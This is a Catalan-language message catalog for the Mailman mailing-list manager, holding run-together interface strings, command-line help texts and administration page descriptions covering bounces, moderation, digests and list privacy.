Si s'executa sol, mostra aquesta ajuda i surt.
S'estan posant a zero %(n)s BYBOUNCEs adreces inhabilitades sense informació de rebotRe-iniciant el qrunner principal de MailmanRetorna la sortida generada.Torna a laromanèsExecuta un o més qrunners, una sola vegada o repetidament.

Cada classe runner especificada s'executa d'una manera round-robin. En altres paraules,
el primer runner donat s'executa per a consumir tots els fitxers que hi hagi en el seu
directori en aquest moment. Quan aquest qrunner ha acabat, s'executa el següent per
a consumir tots els fitxers en /el seu/ directori, i així successivament. El nombre total
de d'iteracions es pot proporcionar en la línia d'ordres.

Sintaxi: %(PROGRAM)s [opcions]

Opcions:
    -r runner[:slice:range]
    --runner=runner[:slice:range]
    Executar el runner donat, que ha de ser un de les cadenes retornades per
    l'opció -l. Si es proporciona l'opcional rodanxa:rang, es fa servir per a assignar
    múltiples processos qrunner a una cua. range és el nombre total de qrunners
    per a aquesta cua, mentre que slice és el nombre d'aquest qrunner de [o...range].

    Si fa servir la forma slice:range, més val que s'asseguri que a cada qrunner per a la
    cua se li dóna el mateix valor de range. Si no es proporciona slice:runner, es fa servir
    1:1.

    Es poden proporcionar múltiples opcions -r, en aquest cas cada qrunner s'executarà una
    vegada d'una manera round-robin. El runner especial `All' és una drecera per a un qrunner
    per a cadascun dels llistats per l'opció -l.

    --onze
    -o
        Executar cada qrunner donat exactament una sola vegada a través del seu bucle principal.
        En cas contrari, cada qrunner s'executa indefinidament, fins que el procés rep un SIGTERM
        o SIGINT.

    -l /--list
        Mostrar els noms dels qrunners disponibles i surt.

    -*v / --verbose
        Apuntar més informació de depuració als logs.

    -h / --help
        Mostrar aquest missatge i sortir.

es precisa un runner tret que s'indiqui -l o -h, i ha de ser un dels noms mostrats per l'opció -l.
Executar aquest programa com root o amb el usuari %(name)s, o utilitza l'opció -u.Executant %(module)s.%(callable)s()...rusdisDesant llistaLa expressió regular per buscar és requeridaCerca...SegonVegeu Seleccioneu una pàgina a editar:Voleu enviar un correu de "s'ha creat la llista" a l'amo de la llista?Voleu enviar un missatge de comiat quan els membres cancel·lin la seva subscripció?Voleu enviar un missatge al remitent se li retingui un missatge per a aprovar-lo?Voleu enviar recordatoris mensuals de la contrasenya?Voleu enviar notificacions de les subscripcions noves a l'administrador de la llista?Voleu enviar notificacions a l'administrador de la llista?Enviar recordatoris de contrasenya per totes les llistes a tots els usuaris.

Aquest programa recorre totes les llistes de distribució i recopila els noms d'usuari i les seves contrasenyes,
agrupats pel host_name de la llista si mm_cfg.VIRTUAL_HOST_OVERVIEW es true.
Aleshores s'envia un missatge de correu electrònic a cada usuari per separat (per-virtual host) contenint
les contrasenyes de les llistes i l'URL d'opcions per a l'usuari. El recordatori de contrasenya prové de la variable
mm_cfg.MAILMAN_SITE_LIST que ha d'existir.

Forma d'ús: %(PROGRAM)s [opcions]

Opcions:
    -l nom_de_llista
    --listname=nom_de_llista
        Enviar el recordatori de contrasenya només per la llista indicada.
        Si s'omet, el recordatori s'envia a totes les llistes. Es permeten múltiples
        opcions -l/--listname.

    -h/--help
        Mostra aquest missatge i surt.
Enviar recordatoris de contrasenya a, ex, l'adreça de "-owner"
            en lloc de directament al usuari.Voleu enviar una confirmació de la cancel·lació de la subscripció a l'usuari?Voleu enviar un missatge de benvinguda als subscriptors nous?Voleu enviar el missatge de benvinguda als subscriptors nous?El remitent ha descartat el missatge via web.El remitent està explícitament prohibitFiltres de&nbsp;remitentsetsetembreserbiHora local del servidorEstableixEstableix la contrasenya del lloc web, demanant-la des del terminal.

La contrasenya del site es pot fer servir gairebé als mateixos llocs que la contrasenya
de l'administrador, que també es pot fer servir a gairebé tots els llocs que la contrasenya d'usuari
d'una llista.

Forma d'ús: %(PROGRAM)s [opcions] [contrasenya]

Opcions:

    -c/--listcreator
        Establir la contrasenya del creador de la llista en lloc de la contrasenya del site. El creador de la
        llista està autoritzat a crear i eliminar llistes, però no té control total sobre l'administrador del site.

    -h/--help
        Mostra aquest missatge i surt.

Si no s'especifica la contrasenya, es demanarà.
Posi-la afirmativament quan aquesta llista estigui destinada a
            enviar missatges a altres llistes en cascada. Quan aquesta
            opció estigui activa, les notificacions tal com les confirmacions
            i el recordatori de les contrasenyes, es dirigiran a una adreça derivada
            de l'adreça que està subscrita a aquesta llista i que tindrà el valor
            de "umbrella_member_suffix" afegit al nom d'usuari del membre.Establint host_name a:  %(mailhost)sEstablir aquesta opció fa que les adreces de correu electrònic dels membres
             es trasnformin quan es presenten al llistat de les pàgines web
             (tant el text com l'enllaç).
             La intenció és prevenir que els spammers no capturin les adreces de
             forma automàtica.Si activeu opció, el Mailman iniciarà un volum nou
             amb el proper resum que s'enviï.Establint web_page_url a: %(web_page_url)sVoleu que el Mailman contregui el tipus multipart/alternative
             al contingut de la primera part?Voleu que el Mailman converteixi les parts <tt>text/html</tt>
             a text pla? Aquesta conversió es duu a terme després d'haver extret
             els fitxers adjunts MIME.Hauria Mailman de filtrar el contingut del trafic de la llista
            d'acord amb les opcions d'abaix  ?Hauria de notificar el Mailman als propietaris de la llista quan la
             subscripció d'un membre es cancel·li degut als rebots?ha de notificar-te Mailman quan els rebots causin la desactivació
            de la subscripció d'un membre?Ha de <em>sincronitzar</em> Mailman amb el grup de noticies?Voleu que el Mailman processi automàticament els retorns?Hauria Mailman de personalitzar cada lliurament no-resum?
            Això pot ser útil per una llista només d'anuncis, però
            <a href="?VARHELP=nondigest/personalize">llegeix els detalls</a>
            per informació important sobre el rendiment.Ha d'enviar Mailman una auto-resposta als correus electrònics enviats a
            l'adreça de l'amo de la llista?Ha d'enviar Mailman una auto-resposta als correus electrònics enviats a
            l'adreça de peticions? si decideixes que si, has de decidir també
            si s'ha de descartar el missatge original, o enviar-lo com un missatge normal.Ha d'enviar Mailman una auto-resposta als remitents de
            la llista de correu?Voleu que el Mailman enviï el resum següent ara mateix, en cas
             que no sigui buit?Hauria Mailman enviar-li a vostè, propietari de la llista, els missatges rebotats que el sistema
            de processament de rebots no hagi pogut detectar?
            l'opció recomanada és <em>Si</em>.Voleu que el Mailman iniciï un volum de resum nou?Voleu que s'enviï el resum diàriament si la mida límit no s'ha assolit?L'administrador ha de rebre notificacions de les subscripcións i de
            les cancel·lacions de subscripció?S'ha d'eliminar qualsevol capçalera <tt>Reply-To:</tt> que es trobi
            en el missatge original? En cas afirmatiu, es farà sense tenir en
            conta si Mailman afegeix un capçalera <tt>Reply-To:</tt> o no. Voleu que els missatges d'aquells que no siguin subscriptors,
             els qual es descarten automàticament, s'enviïn al moderador de la llista?Han d'incloure els missatges d'aquesta llista les capçaleres
                 <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>
                 (i.e. <tt>List-*</tt>)?  es recomana que <em>Si</em>.S'ha de posar als nous membres en quarantena abans que
    se'ls permeti enviar missatges a la llista sense moderar? Responeu <em>Si</em> per a retenir
    els missatges dels nous membres fins l'aprovació del moderador, per defecte.S'han d'enviar els nous missatges de la llista de correu al grup de noticies?S'han d'enviar els nous missatges del grup de noticies
            a la llista de correu?L'enviament ha d'incloure la capçalera <tt>List-Post:</tt>?S'ha de notificar de les noves peticions immediatament als moderadors,
            així com enviar-li un recordatori diari amb les peticions pendents? Voleu que el filtre de tema estigui habilitat o inhabilitat?Mostrar les adreces dels membres de forma que no semblin
            adreces de correu electrònic?Mostra el contingut d'un o més fitxers de cua del Mailman.

Forma d'ús: show_qfiles [opcions] qfile ...

Opcions:

    -q / --quiet
        No mostris els delimitadors descriptius dels missatges.

    -h / --help
        Mostra aquest text i surt.

Exemple: show_qfiles qfiles/shunt/*.pck
Parant el qrunner principal de MailmanLlistes complementàriesLa llista del Site no hi és:  %(sitelistname)sMida:S'ha omès el contingut de tipus %(partctype)s
eslovaceslovèS'ha produït un error desconegut en crear la llista.
                ia.Expressió regular de filtre d'«spam»:Regla de filtre d'«spam» %(i)dFiltres&nbsp;d'spamespanyol (Espanya)Especifica l'esquema de resum a l'estil de la RFC 2307 per a les 
contrasenyes incloses a la sortida. Utilitzeu -P per a obtenir una 
llista dels esquemes compatibles, els quals no distingeixen entre
majúscules i minúscules.Fitxer pid vell eliminat.Iniciant el qrunner principal de MailmanTaula d'estats per la finite-states-machine parser:
            0  inactiu
            1  fitxer o comentari
            2  msgid
            3  msgstr
            4  fi
            Assumpte:EnviaEnvia totes les dadesEnvia els canvisEnvia els meus canvisEnvia els canvisSubscriuPàgina de resultats de la subscripcióVoleu subscriure a aquests usuaris immediatament, o bé convidar-los?Subscriu-me a la llista %(listname)sSubscrit: %(member)sSubscrivintSol·licituds de subscripcióSol·licitud de subscripcióS'ha confirmat la sol·licitud de subscripcióSol·licitud de subscripció satisfactòria.Regles de&nbsp;subscripcióSuprimit satisfactòriament:Subscripció cancel·lada satisfactòriament:Convidat satisfactòriament:Subscrit satisfactòriament:Sufix a fer servir quan aquesta llista enviï a altres llistes,
            d'acord amb la configuració posada en l'opció anterior
            "umbrella_list".diusuecSincronitza els membres d'una llista de distribució amb un fitxer de text.

Aquest script és útil si té una llista de distribució de Mailman i una llista
d'adreces del tipus :include: de sendmail (com les que es fan servir també a Majordomo).
S'afegeixen les adreces del fitxer que no estigui subscrites en la llista. S'esborren les
adreces subscrites a la llista que no estiguin en el fitxer. Altres opcions controlen que
passa quan s'afegeix o elimina una adreça.

Forma d'ús: %(PROGRAM)s [opcions] -f file listname

On les opcions són:

    --no-change
    -n
        No fer canvis, només mostrar lo que passaria a la llista.

    --welcome-msg[=<yes|no>]
    -w[=<yes|no>]
        Estableix si enviar o no als nous subscriptors un missatge de benvinguda,
        ignorant el que digui la preferència `send_welcome_msg' de la llista. Amb
        -w=yes o -w, s'envia el missatge de benvinguda. Amb -w=no, no s'envia cap missatge. 

    --goodbye-msg[=<yes|no>]
    -g[=<yes|no>]
        Controla si s'envien missatges informatius quan s'esborrin adreces de la llista,
        ignorant qualsevol valor que tingui el paràmetre `send_goodbye_msg' de la llista.
        Amb -g=no no s'envia cap missatge.
    --digest[=<yes|no>]
    -d[=<yes|no>]
        Controla si els subscriptors nous tindran el lliurament en forma de resum.
        Amb -d o -d=yes es donaran d'alta com subscriptors amb el lliurament diferit
        en recopilacions. Amb -d=no es donaran d'alta com subscriptors regulars. 
    --notifyadmin[=<yes|no>]
    -a[=<yes|no>]
        Especifica si l'administrador hauria de ser notificat de cada subscripció
        o cancel·lació de subscripció. Si està afegint un munt d'adreces, ¡segur que
        vol inhabilitar-lo! Amb -a=yes o -a, s'avisa a l'administrador. Amb a=no,
        l'administrador no rep avisos. Sense l'opció -a, es fa servir el valor que
        tingui configurada la llista.. 
    --file <filename | ->
    -f <filename | ->
        Aquesta opció és obligatòria. Especifica el fitxer de text amb el qual
        sincronitzar-se. Les adreces de correu electrònic han d'aparèixer
        cadascuna en una línia distinta. Si el nom de fitxer és `-' es llegeixen
        les adreces de l'entrada estàndard.

    --help
    -h
        Mostra aquest missatge.

    listname
        Requerit. Això especifica la llista a sincronitzar.

Error de sistema, contingut erroni: %(content)s Atén les peticions pendents de moderacióText a afegir en la part inferior de cadascun dels missatges
            que es lliura a mesura que arriben.Text a afegir (com a missatge final) al final dels resums. Text a afegir (com a missatge inicial, abans de la taula de contingut) a l'inici dels resums. Text a afegir en la part superior de cadascun dels missatges
            que es lliura a mesura que arriben.Text a enviar a la gent que deixi la llista. Si es deixa buit
              cap text especial s'afegira al missatge de cancel·lar la subscripció.Text a incloure a les
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >notificacions de denegació</a> a
             enviar als membres moderats que enviïn a aquesta llista.Text a incloure a les notificacions de rebuig que s'enviaran
             a aquells que enviïn correu a la llista sense estar-hi subscrits.
             Aquesta notificació pot incloure l'adreça del propietari de la
             llista de %%(listowner)s i reemplaça el missatge intern per
             defecte.Text%(sz)sEl "host_name" és el nom de màquina preferit per a les adreces
            relacionades amb Mailman en aquest sistema, generalment
            hauria de ser l'adreça del sistema per a qüestions de correu electrònic.
            Aquesta opció pot ser útil per a seleccionar entre distints noms alternatius
            d'una màquina que té diverses adreces. L'atribut <b>info</b> que heu desat 
conté codi HTML sospitós, el qual
podria exposar els vostres usuaris a atacs per execució d'escripts en context
d'altres llocs web (cross-site scripting). És per això que s'ha refusat aquest
canvi. En cas que tot i això encara vulgueu aplicar-lo, caldrà que tingueu
accés al vostre servidor del Mailman a través de l'intèrpret d'ordres
Podeu fer aquest canvi si executeu bin/withlist o bé bin/config_list establint
mlist.info.
                        Els <em>administradors de llista</em> són persones amb control total sobre tots
els paràmetres de la llista de correu. Poden canviar la configuració de
qualsevol variable de la llista a través d'aquestes pàgines d'administració.

<p>Els <em>moderadors de llista</em> tenen permisos més limitats; no poden canviar
la configuració de qualsevol variable, però poden atendre les peticions
d'administració pendents, incloent l'aprovació o denegació de subscripcions
pendents, o què fer amb els enviaments retinguts. Evidentment, els
<em>administradors de llista</em> també poden atendre les peticions pendents.

<p>Per a poder dividir les tasques d'administració entre els administradors i
els moderadors, heu d'establir contrasenyes diferents als camps següents, i
proveir les adreces de correu electrònic dels moderadors a la
<a href="%(adminurl)s/general">secció d'opcions generals</a>.La capçalera <tt>List-Post:</tt> és una de les capçaleres recomanades
             pel
             <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>.
             De tota manera per algunes llistes <em>announce-only</em> , només un
             grup molt selecte de gent té permès enviar a la llista; els 
             subscriptors generals no tenen permís per enviar a la llista. Per llistes d'aquesta
             natura, la capçalera <tt>List-Post:</tt> és enganyosa.
             Selecciona <em>No</em> per deshabilitar l'inclusió d'aquesta capçalera. (Això
             no afectarà l'inclusió d'altres capçaleres <tt>List-*:</tt>).El contestador automàtic del MailmanLa setmana del %(day)i %(month)s %(year)iL'ordre «join» és sinònima de «subscribe».
L'ordre «leave» és sinònima d'«unsubscribe».
L'ordre «remove» és sinònima d'«unsubscribe».
L'adreça que ha fet la sol·licitud de canvi ha estat
                donada de baixa posteriorment. Aquesta sol·licitud ha estat
                cancel·lada.L'adreça que ha fet la sol·licitud per a cancel·lar la subscripció no és
                membre de la llista de correu electrònic.
                És possible que la vostra subscripció ja hagi estat cancel·lada per l'administrador?El missatge adjunt ha estat automàticament descartat.El missatge adjunt ha activat les regles de filtrat per contingut de la
llista de distribució %(listname)s i això ha impedit que s'enviï als
subscriptors de la llista. Ha rebut l'única còpia que queda del missatge
descartat.

El missatge adjunt es va rebre com a rebot, pero o el format del rebot
no es coneix, o no es van poder extreure les adreces. Aquesta llista 
ha estat configurada per enviar tots els missatges de rebot no coneguts
al administrador(s) de la llista.

Per a mes informació:
%(adminurl)s

La capitalització d'aquest nom es pot canviar
            per a fer-lo presentable d'acord amb la política de la
            companyia tal com un nom propi, o per a fer un
            acrònim en majúscules, etc. No obstant això, el nom
            es publicarà com una adreça de correu electrònic (ex: en les notificacions
            per a confirmar la subscripció), per tant, <em/>no</em> s'hauria d'alterar.
           (En les adreces de correu electrònic no es distingeixen majúscules de minúscules, però
           si es distingeixen per a qualsevol altre propòsit :-) S'ha enviat el correu electrònic de confirmació.L'arxiu actualL'adreça electrònica que heu especificat té l'accés prohibit
        a aquesta llista de correu. Si creieu que aquesta restricció és
        errònia contacteu amb el propietari de la llista a %(listowner)s.L'adreça de correu electrònic que heu especificat està bandejada 
en aquesta llista de correu.
Si creieu que aquesta restricció és errònia, contacteu el propietari
de la llista a %(listowner)s.L'adreça que heu especificat no és vàlida. (P.ex. ha de contenir una
«@».)S'han trobat les següents variables de substitució incorrectes
                a la cadena <code>%(property)s</code>:
                <code>%(bad)s</code>
                <p>La seva llista podria no funcionar correctament fins
                que corregeixi el problema.El patró de filtre de capçalera
                «%(safepattern)s» no és una expressió regular vàlida. S'ignorarà
                la regla.El missatge retingut amb el Tema:
        capçalera <em>%(subject)s</em> no ha estat trobat, pot ser que l'administrador
         de la llista ja l'hagi aprovat o denegat. No l'has pogut cancel·lar a temps.El missatge retingut al que s'estava referint
ja ha estat tractat per l'administrador de la llista. El nom de la màquina on s'executa el vostre servidor de notícies.Les adreces de la llista s'han d'escriure en el format complet
             d'adreça electrònica (p.ex. mailman@exemple.com). No especifiqueu
             l'adreça d'aquesta llista a la pàgina de configuració de les
             les llistes d'exclusió de l'altra llista, cosa que faria que els
             subscriptors d'ambdues llistes no rebessin cap missatge.
             Tingueu en compte que és possible que l'administrador del lloc
             no permeti la utilització de llistes complementàries de dominis
             diferents.Les adreces de la llista s'han d'escriure en el format complet
             d'adreça electrònica (p.ex. mailman@exemple.com). Tingueu en
             compte que és possible que l'administrador del lloc no permeti
             la utilització de llistes complementàries de dominis diferents.Les adreces electròniques l'administrador de la llista.
            Si en té més d'una, especifiqueu cadascuna d'elles en una línea separada.L'administrador de la llista ha desactivat l'entrega
            de missatges agrupats per a aquesta llista, per la qual cosa la 
            vostra opció de lliurament no s'ha establert. No obstant, totes 
            les altres opcions s'han establert satisfactòriament.L'administrador de la llista ha des-activat el lliurament
            de no-resum en aquesta llista i la vostra opció de lliurament no ha estat
            establerta. No obstant, totes les altres opcions s'han establert
            satisfactòriament.L'administrador de la llista no pot canviar
                    la contrasenya d'un usuari.L'administrador de la llista no pot canviar les
                 opcions de les altres subscripcions d'aquest usuari. De totes
                 maneres, les opcions per a la subscripció a aquesta llista de
                 correu sí que s'han canviat.L'administrador de la llista no pot canviar la
            contrasenya per a les altres subscripcions d'aquest usuari. De
            totes maneres, s'ha canviat la contrasenya per a aquesta llista 
            de correuL'administrador de la llista no pot canviar els noms
            o adreces de les altres subscripcions d'aquest usuari. De totes
            maneres, s'ha canviat la subscripció per a aquesta llista de correu.L'administrador de la llista no pot visualitzar les
            altres subscripcions d'aquest usuari.Les adreces de correu electrònic del moderador de la llista. Múltiples
            adreces del moderador, cada una en una línea separada.La contrasenya de la llista no pot estar buidaLa contrasenya de la llista no pot ser buida<!-- ignore -->La llista a incloure a la sortida. Si no s'especifica, s'inclouran totes les
llistes a la sortida en XML. També es pot especificar més d'un senyalador -l.La llista de distribució `%(listname)s' ha estat creada a través de l'interfície web.
Per a poder completar l'activació d'aquesta llista de distribució, s'ha d'actualitzar
el fitxer /etc/aliases (o equivalent). També deuria executar l'ordre `newaliases'.

Aquí hi ha les entrades per el fitxer /etc/aliases:
La llista de distribució `%(listname)s' s'ha esborrat a través de l'interfície web.
Per a poder completar la desactivació d'aquesta llista de distribució, s'ha d'actualitzar
el fitxer /etc/aliases (o equivalent). També deuria executar l'ordre `newaliases'.

Aquí hi ha les entrades de  /etc/aliases  que han de ser esborrades:
No s'ha pogut adquirir el bloqueig del qrunner principal. Sembla que
hi ha un altre qrunner executant-se.
No s'ha pogut aconseguir el bloqueig del qrunner mestre, perquè sembla com si l'hagués
obtingut algun procés en un altre servidor. No podem comprovar si hi ha bloquejos oblidats
en altres servidors, així que haurà de fer-lo vostè manualment. O, si sap que el bloqueig
està oblidat, pot tornar a executar mailmanctl amb l'opció -s.
Fitxer bloquejat: %(LOCKFILE)s
Host bloquejat: %(status)s

Sortint.El bloqueig mestre de qrunner no s'ha pogut adquirir perquè sembla ser que
hi ha un altre qrunner mestre executant-se. Prova a executar el mailmanctl amb la senyal -s.
El valor dels missatges rebotats dels subscriptors, a partir del
            qual s'inhabilita la subscripció. Aquest valor pot ser un nombre
            en punt flotant. Les capçaleres del missatge coincideixen amb una regla de filtreEl tipus de contingut del missatge va ser explícitament prohibitEl tipus de contingut del missatge no va ser explícitament permèsL'extensió de fitxer del missatge va ser explícitament prohibitL'extensió del missatge no està permesa de manera explícitaLa política de moderació del grup de notícies.Nom del grup de Usenet al que enviar i/o rebre missatges.La nova adreça de correu electrònic ja es un membre: %(newaddr)sL'adreça %(newaddr)s ja és membre de la llista de correu, no obstant
també has fet una sol·licitud per fer el canvi d'adreça global. Després de la confirmació,
qualsevol altra llista que contingui l'adreça %(safeuser)s també serà canviada.El resum següent s'enviarà com a volum
            %(volume)s, número %(number)sEl nombre de dies abans que l' informació de rebots del subscriptor
            sigui descartada, si no es reben nous rebots.
            Aquest valor ha de ser un nombre sencer.Nombre de dies entre els enviaments de la notificació <em>Your Membership
            Is Disabled</em>. Aquest valor ha de ser un sencer.La pàgina que heu desat conté codi HTML sospitós, el qual
podria exposar els vostres usuaris a atacs per execució d'escripts en context
d'altres llocs web (cross-site scripting). És per això que s'ha refusat aquest
canvi. En cas que tot i això encara vulgueu aplicar-lo, caldrà que tingueu
accés al vostre servidor del Mailman a través de l'intèrpret d'ordres
              El nom públic d'aquesta llista (feu-hi només canvis de majúscules i minúscules).A continuació es mostren els resultats de la vostra 
ordre de correu.
El vostre missatge original s'hi adjunta al final.
Els resultats de les ordres del vostre correu electrònicL'administrador de %(hostname)s ha canviat la vostra contrasenya per a
la vostra llista de correu %(listname)s. Ara és

    %(notifypassword)s

Si us plau, assegurat de fer servir aquesta contrasenya la pròxima vegada que administris la llista. Pot ser
voleu entrar ara a la vostra llista i canviar la contrasenya. Visita la pàgina d'administració de la llista a

    %(adminurl)s
La llista de subscriptorsEl text es tractarà com codi html <em>excepte</em> els retorns
            de carro que es traduiran a &lt;br&gt/; - de manera que pot utilitzar enllaços,
            text pre-formatat, etc, però no posi retorns de carro més que per a separar
            els paràgrafs. Revisi els seus canvis, perquè errors en el codi html poden evitar
            que la pàgina d'informació de la llista es visualitzi completament.El cercador de temes escanejarà aquesta quantitat de línies del cos
             del missatge a la recerca de paraules clau dels temes. L'escaneig del cos es deté
             quan s'ha mirat en totes aquestes línies o quan es troba una línia en el cos del missatge
             que no sembla una capçalera. Posant aquest valor a zero, no s'escanejarà cap línia del
             cos (és a dir, només s'escanejaran les capçaleres <code>Keywords:</code> i <code>Subject:</code>).
             Si es posa un nombre negatiu, s'escanejaran totes les línies del cos fins que es trobi una
             línia que no sembli una capçalera.El patró de tema «%(safepattern)s» no és
                una expressió regular vàlida. Es descartarà.La variable «m» és la instància de la llista de correu %(listname)sNo hi ha cap sol·licitud pendent.Hi ha dos rols associats a cada llista de distribució. Els
            <em>administradors de la llista</em> són les persones que
             tenen l'última paraula sobre totes les opcions de
            configuració de la llista de distribució. Són
            capaços de canviar qualsevol paràmetre de configuració
            disponible a través de les pàgines web d'administració.
/
            <p>Els <em>Moderadors de la llista</em> tenen menys permisos,
            no són capaços de canviar qualsevol variable de configuració, però
            se'ls permet que decideixin sobre les peticions administratives, incloent
            aprovar o denegar les peticions de subscripció pendents i decidir que fer
            amb els enviaments retinguts a la llista. Per suposat, els <em>administradors
            de la llista</em> també poden ocupar-se de les peticions pendents.

            <p>Per a poder dividir les tasques d'administració entre
            els administradors i els moderadors, ha de <a href="passwords">posar-li una
            contrasenya distinta</a> als moderadors a la secció inferior, a més d'indicar en
            aquesta secció les <a href="?VARHELP=general/moderator">adreces de correu electrònic
            dels moderadors</a>. Observi que els camps que es canvien aquí indiquen
            els administradors de la llista. Hi ha dos rols associats a cada llista de distribució. Els
            <em>administradors de la llista</em> són les persones que
             tenen l'última paraula sobre totes les opcions de
            configuració de la llista de distribució. Són
            capaços de canviar qualsevol paràmetre de configuració
            disponible a través de les pàgines web d'administració.
/
            <p>Els <em>Moderadors de la llista</em> tenen menys permisos,
            no són capaços de canviar qualsevol variable de configuració, però
            se'ls permet que decideixin sobre les peticions administratives, incloent
            aprovar o denegar les peticions de subscripció pendents i decidir que fer
            amb els enviaments retinguts a la llista. Per suposat, els <em>administradors
            de la llista</em> també poden ocupar-se de les peticions pendents.

            <p>Per a poder dividir les tasques d'administració entre
            els administradors i els moderadors, ha de <a href="passwords">posar-li una
            contrasenya distinta</a> als moderadors a la secció inferior, a més d'indicar en
            aquesta secció les <a href="?VARHELP=general/moderator">adreces de correu electrònic
            dels moderadors</a>. Observi que els camps que es canvien aquí indiquen
            els moderadors de la llista. No hi havia cap resum per a enviar.Hi ha hagut problemes en suprimir la llista de correu
        <b>%(listname)s</b>. Contacteu l'administrador a %(sitelist)s
        per a obtenir-ne més detalls.Aquestes són les llengües naturals disponibles per a la llista.
            Teniu en compte que s'ha d'incloure la
            <a href="?VARHELP=language/preferred_language">llengua per
             defecte</a>.Aquestes polítiques controlen el sistema de rebots
            automàtics a Mailman. A continuació es resumeix com funciona.

        Quan es rep un missatge rebotat, Mailman tracta d'extreure la següent
        informació del missatge: l'adreça del subscriptor al que anava dirigit el missatge
        i la gravetat del problema que va causar el rebot. La gravetat pot ser <em>greu
        </em> o lleu depenent si ha ocorregut un error fatal o si ha ocorregut un error transitori.
        Si existeix algun dubte es suposa que és un error greu.
        <p>Si no es pot deduir l'adreça del subscriptor del missatge rebotat,
        aleshores el rebot es descarta. Si no es descarta, a cada subscriptor
        se li assigna un <em>comptador de rebots</em> i cada vegada que es
        troba un rebot pertanyent a aquest subscriptor, s'incrementarà el comptador.
        Els rebots greus incrementen en 1 mentre que els lleus incrementen en 0.5.
        El comptador només s'incrementa una vegada al dia, de manera que fins i tot
        quan es rebin centenars de missatges rebotats del subscriptor en un dia, el seu
        comptador només s'incrementarà en 1 aquest dia.
        <p>Quan el comptador de rebots d'un subscriptor superi el
        <a href="?VARHELP=bounce/bounce_score_threshold">llindar de missatges
        rebotats</a> s'inhabilitarà la seva subscripció.
        Una vegada que s'inhabiliti, el subscriptor no rebrà més missatges
        de la llista fins que la seva subscripció sigui explícitament habilitada de nou
        (ja sigui per l'administrador o pel mateix subscriptor). No obstant, de tant en
        tant rebra notificacions indicant-li que la seva subscripció ha estat inhabilitada.
       Les notificacions inclouen informació sobre com tornar a habilitar la seva subscripció.

         <p>Pots controlar tant el
        <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings">nombre de recordatoris</a>
        que rebrà el subscriptor com la
        <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings_interval"
        > freqüència </a>amb la que s'enviaran les notificacions.

        <p>Hi ha una altra variable de configuració important que controla que,
        transcorregut un determinat període de temps -- durant el qual no es reben
        rebots del subscriptor -- la informació de rebot es considera a href="?VARHELP=bounce/bounce_info_stale_after">
        caduca</a> i es descartada. D'aquesta manera, ajustant aquest valor
        i el llindar de missatges rebotats, es pot controlar la velocitat a la qual
        es inhabilita als subscriptors amb problemes de recepció. S'haurian d'ajustar
        a la freqüència i al volum de la llista en qüestió.TercerAquesta descripció es fa servir quan la llista de distribució es mostra
                juntament amb altres llistes, o en les capçaleres i similars. Hauria de
                ser tot el concisa que pugui, mentre que pugui identificar que va la llista. Aquesta és una llista %(also)sa oculta, la qual cosa significa
            que la llista de subscriptors només la pot veure l'administrador de la llista.Aquesta és una llista %(also)sa privada, la qual cosa significa
            que la llista de subscriptors no la poden visualitzar aquells que no hi estiguin subscrits.Aquesta és una llista %(also)sa pública, la qual cosa significa
            que la llista de subscriptors la pot veure tothom.Aquesta és una llista tancada, el qual vol dir que la vostra subscripció es
            retindrà abans de ser aprovada. Se us notificarà de la decisió
            del moderador de la llista per correu electrònic.Aquesta és la llengua natural d'aquesta llista de correu.
            Si <a href="?VARHELP=language/available_languages">es suporta més d'una
             llengua</a>, els usuaris podran seleccionar les seves pròpies preferències per a interactuar
             am la llista. Totes les altres interaccions es faran amb la llengua per defecte. Això
             s'aplica tant als missatges web com de correu electrònic, però no als
             correus electrònics enviats per els membres de la llista.Aquesta llistaAquesta llista no és compatible amb l'entrega de resums.Aquesta llista no té cap subscriptor.Aquesta llista està restringida; el vostre missatge no ha estat aprovat.Aquesta llista només funciona amb l'entrega de resums.Aquesta llista només funciona amb subscripcionsAquesta pàgina us permet, com a l'amo de la llista, eliminar permanentment
    la llista de correu del sistema. <strong>Aquesta acció no es pot desfer</strong>, per
    lo que només has de continuar si estàs absolutament segur de que aquesta llista
    ja no és necessària .

    <p>Qualsevol missatge enviat a la llista de correu o a les seves adreces
    administratives, serà rebotat

    <p>També tens l' opció d' eliminar els fitxers de la llista de correu en aquest
    moment. <strong>No</strong> es recomana eliminar els fitxers, ja que serveixen
    com a constància històrica de la llista de correu.

    <p>per seguretat se't demanarà que confirmis la contrasenya de la llista.
    Aquesta secció et permet configurar subscripcions
             i politiques de subscripció. També pots controlar si aquesta llista
             és pública o no. També pots veure les
            <a href="%(admin)s/archive">Opcions d'Arxiu</a> per
            les opcions de configuració de privacitat dels arxius.Aquesta secció et permet configurar filtres d'enviament anti-spam
            et pot ajudar a reduir considerablement els missatges de correu
            spam de la llista.Aquesta secció us permet configurar diversos filtres basats en
            el destinatari del missatge.Aquesta configuració determina la política de moderació
             del grup de notícies i la seva interacció amb la política de moderació
             de la llista de distribució. Això s'aplica únicament al grup de notícies al
             que està enviant, de manera que si només està fent de passarel·la
             d'entrada de Usenet, o si el grup de notícies al que està enviant no està
             moderat, posi aquesta opció a <*em/>Cap</em>.

            <p>Si el grup de notícies està moderat, pot configurar aquesta llista de
            distribució perquè sigui l'adreça de moderació del grup de notícies.
            Seleccionant <em>Moderat</em>, es reté el missatge com pas addicional
            en el procés d'aprovació. Tots els missatges enviats a la llista de distribució
            s'han d'aprovar abans que s'enviïn al grup de notícies, o a l'adreça de la
            llista de distribució.

           <p><em>Observi que si el missatge té una capçalera <tt>Approved</tt>
           contenint la cpntrasenya de l'administrador de la llista, la comprovació de
           si es deu retenir el missatge es passarà per alt, permetent que els remitents
           privilegiats enviïn missatges directament a la llista i al grup de notícies.

           <p>Finalment, si el grup de notícies és moderat, però vol tenir una política
           oberta a l'hora d'enviar, pot seleccionar <em>Llista oberta, grup moderat</em>
           L'efecte d'això és fer servir les facilitats de moderació de Mailman usuals, menys
           la d'agregar una capçalera <tt>Approved</tt> a tots els missatges que
           s'envien a Usenet. Aquest text s'afegirà al principi de les línies del tema dels missatges
            enviats a la llista per a distingir-los a les llisted de missatges de les bústies
            de correu. Aquí la brevetat és molt important: es poden abreviar els noms
            llargs de les llistes de correu a quelcom més concís, sempre que permeti
            identificar la llista de correu.
            També hi podeu afegir un número seqüencial a substituir segons el format 
             %%d:
